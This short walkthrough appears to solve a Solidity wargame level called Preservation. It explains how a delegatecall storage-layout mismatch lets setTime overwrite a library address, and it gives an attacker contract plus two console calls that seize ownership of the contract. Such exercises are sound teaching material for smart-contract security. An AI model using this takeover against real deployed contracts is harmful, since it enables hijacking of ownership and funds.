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16-preservation.md

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the memory layout of the LibraryContract is incompatible with the contract Preservation, setTime will write to the first memory slot, thus overwriting timeZone1Library address. So, first deploy a contract that will change the owner, then call setFirstTime to override the timeZone1Library with our contract address, lastly setFirstTime with our address.

contract HackPreservation {
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner;

  function setTime(uint _time) public {
    owner = address(_time);
  }
}

await contract.setFirstTime('<contract address>')
await contract.setFirstTime(player)